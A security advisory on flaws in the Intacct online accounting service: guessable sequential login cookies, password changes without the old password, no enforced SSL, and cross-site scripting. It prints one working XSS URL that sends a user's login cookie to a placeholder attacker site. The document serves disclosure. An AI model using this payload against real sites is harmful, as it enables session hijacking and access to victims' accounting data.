Vulnerability

    Intacct.com

Affected

    Intacct.com

Description

    Jeffrey  W.  Baker  found  following.   These vulnerabilities were
    discovered  while  he  was  investigating  the  security of online
    accounting firms such as Intacct.   He has found many  systematic,
    exploitable vulnerabilities at Intacct.

    The security problems with the  Intacct service are so great,  and
    Intacct  has  been  so  lax  in  responding  to  them, that he has
    compelled to offer this security advisory as a service to  Intacct
    customers.

    Intacct is an online accounting  service.  Their website allows  a
    user to perform business accounting functions.  Intacct makes very
    bold claims regarding their security.  In their security marketing
    materials, they  claim to  have "world-class  security you  expect
    from a top-tier financial services provider."

    The Intacct marketing department apparently forgot to  synchronize
    with  the  engineering  department,  because  the Intacct service,
    which is currently in production with paying customers, allows  an
    attacker to:

        1) Log in as the victim in perpetuity
        2) View and modify victims' accounts, budgets, etc.
        3) Change victims' passwords
        4) Deny service to victims by modifying Intacct billing information

    No action is required on the part of the victim for these  attacks
    to succeed.

    Intacct suffers from  three problems: they  are vulnerable to  the
    attack  defined  in  CERT  CA-2000-02,  they do not use encryption
    everywhere, and  their login  and session  management systems  are
    the worst you ever seen.

    The other vulnerabilities are hardly even relevant, because it  is
    trivial to compute  the login cookie  for any Intacct  user.  When
    an Intacct user logs in, they are sent two cookies with the  names
    ".sign" and ".userid".  These  cookies always have the same  value
    for a  given user.   It is  possible to  guess the  cookie for any
    Intacct user  because the  .userid cookie  is issued sequentially,
    and the .sign cookie  is always one of  three values (we will  not
    reveal them, but the three  values will be immediately obvious  to
    anyone who  investigates Intacct).   The attacker  will require  a
    maximum of  three attempts  before gaining  access to  any Intacct
    account.

    Once the attacker has  gained access, the situation  is aggravated
    by the ability to change  a victim's password without knowing  the
    current password.  Standard  security procedure dictates that  you
    should always ask  for the existing  password before allowing  the
    password to be changed.

    Another  vulnerability  is  due  to  the fact that Intacct accepts
    traffic to  their application  over clear  channels.   They do not
    enforce the use  of SSL.   A user can  replace https with  http in
    any Intacct URL and still use the system normally.  Intacct should
    require their customers  to always use  SSL, lest they  be tricked
    into sending their password in the clear.

    The  cross-site  scripting  vulnerability  is  very  simple.   Any
    logged-on Intacct user can be  made to reveal their login  cookie,
    simply by visiting a link like this:

        https://www.intacct.com/ia/edit_budget.phtml?.done=budgets.phtml&.account_fld=<script>location.replace(%27http://www.evilsite.net/%3F%27%2Bescape(document.cookie))</script>

    The site  "www.evilsite.net" will  then have  possession of  their
    login cookie.

Solution

    Intacct taken  immediate action  and have  already upgraded  their
    web service to remedy the concerns raised.